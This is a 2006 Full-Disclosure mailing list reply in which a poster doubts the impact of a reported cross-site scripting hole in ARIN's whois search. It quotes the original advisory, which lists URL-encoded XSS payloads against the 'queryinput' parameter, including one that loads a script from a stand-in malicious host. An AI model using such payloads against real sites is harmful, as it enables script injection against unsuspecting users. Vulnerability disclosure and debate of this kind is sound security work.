Re: [Full-disclosure] Arin.net XSS

["Steven" <steven@xxxxxxxxxxx>]

ok?

So what exactly are you going to exploit here?  This site doesn't have any 
logins or even use cookies.  Are you going to trick a user into entering in a 
credit card number before they can search the whois database?

I think that XSS in many instances is a serious issues.  Many of the XSS issues 
reported on FD are rarely of much consequence but could theoretically lead to a 
sessions hijack or tricking the user into a fake login screen.  However, in 
this instance I fail to see what the point could possible be?  If it is that 
you can simply run javascript then so what?  Close to 100% of any webhosting 
provider on the internet will let you upload your own javascript.  Might as 
well report that geocities.com is vulnerable to XSS because you could upload an 
html file with javascript on it.

Anyway.. that's my take on this.  Feel free to correct me.. I don't mind.

Steven

----- Original Message ----- 
  From: Terminal Entry 
  To: Full Disclosure ; Bug Traq 
  Sent: Thursday, March 02, 2006 11:17 PM
  Subject: [Full-disclosure] Arin.net XSS 


  Title
  ARIN.NET input validation holes in "?queryinput=" allows remote users conduct 
cross-site scripting attacks

  Notification
  Multiple attempts to contact Arin site administrators went unanswered

  Exploit Included:  Yes

  Description
  The "?queryinput=" script does not properly validate user-supplied input in 
several parameters to filter HTML code. A remote user can create a specially 
crafted URL that, when loaded by a target user, will cause arbitrary scripting 
code to be executed by the target user's browser. 

  Some demonstration exploit URLs are provided:
  
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
  
http://ws.arin.net/whois/?queryinput=%3CSCRIPT+SRC%3Dhttp%3A%2F%2FmaliciousCode.net%2Fexploit.js%3E%3C%2FSCRIPT%3E
  
http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E

  Discovered by Terminal Entry security [.at.] peadro (.)net




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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/